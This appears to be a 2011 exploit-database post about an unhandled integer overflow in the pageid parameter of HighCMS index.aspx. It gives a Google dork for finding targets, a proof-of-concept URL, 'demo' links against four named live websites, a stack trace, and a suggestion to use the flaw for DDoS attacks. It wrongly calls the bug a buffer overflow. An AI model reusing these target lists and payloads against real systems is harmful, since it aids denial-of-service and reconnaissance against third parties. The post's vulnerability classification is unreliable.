HighCMS Overflow

`----------------------------------------------------------------  
HighCMS <= (index.aspx) Buffer Overflow Vulnerability  
----------------------------------------------------------------  
  
# Exploit Title:HighCMS <= (index.aspx) Buffer Overflow Vulnerability  
# Google Dork: inurl:index.aspx?siteid=1&pageid=  
# Application Name: [HighCMS]  
# Date: 2011-10-30  
# Author: BHG Security Center  
# Home: Http://black-hg.org  
# Software Link: [ http://www.aryanic.com/products-highcms.html ]  
# Vendor Response(s): They didn't respond to the emails.  
# Version: [ 11.6 ]  
# Impact : [ Low ]  
# Tested on: [Windows Server 2003 /IIS 6.0]  
# CVE : Webapps  
  
+-----------------------+  
| Overflow Exception |  
+-----------------------+  
  
Description: You can use many of these vulnerabilities do Ddos attacks, including refref  
  
# PoC(s):  
  
http://[HOST]/index.aspx?siteid=1&pageid=[Overflow]  
  
http://[HOST]/index.aspx?siteid=1&pageid=4141414141 <> True   
  
# Demo(s):  
  
http://www.mayadin.biz/index.aspx?siteid=1&pageid=4141414141  
  
http://ielts-house.com/index.aspx?siteid=1&pageid=4141414141  
  
http://www.persiangoldfish.com/index.aspx?siteid=1&pageid=414141414141  
  
http://honarnews.org/index.aspx?siteid=1&pageid=4141414141  
  
# Output Data:  
  
[OverflowException: Arithmetic operation resulted in an overflow.]  
Microsoft.VisualBasic.CompilerServices.Conversions.ToInteger(String Value) +165  
highcms.index.page_select() +1272  
highcms.index.make_page() +2304  
highcms.index.Page_Load(Object , EventArgs ) +8725  
System.Web.UI.Control.OnLoad(EventArgs e) +132  
System.Web.UI.Control.LoadRecursive() +66  
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +2428  
  
  
# Reference:  
[1] For more information about this vulnerability (URL: http://msdn.microsoft.com/en-us/library/system.overflowexception.aspx)  
[2] For more information about this vulnerability (URL: https://www.owasp.org/index.php/Buffer_Overflows)  
  
# Important Notes:  
- Vendor did not respond to the email as well as the phone. As there is not any contact form or email address in the website, we have used all the emails which had been found by searching in Google such as support, info, and so on.  
  
# Greets To :  
  
Net.Edit0r ~ A.Cr0x ~ 3H34N ~ 4m!n ~ Cyrus ~ tHe.k!ll3r ~ 2MzRp   
  
ArYaIeIrAn ~ Mikili ~ NoL1m1t ~ cmaxx ~ G3n3Rall ~ Mr.XHat ~ cmaxx   
  
G3n3Rall ~ Mr.XHat ~ M4hd1 ~ Cru3l.b0y ~ HUrr!c4nE ~ r3v0lter  
  
s3cure.p0rt ~ THANKS TO ALL Iranian HackerZ ./Persian Gulf  
  
===========================================[End]=============================================  
`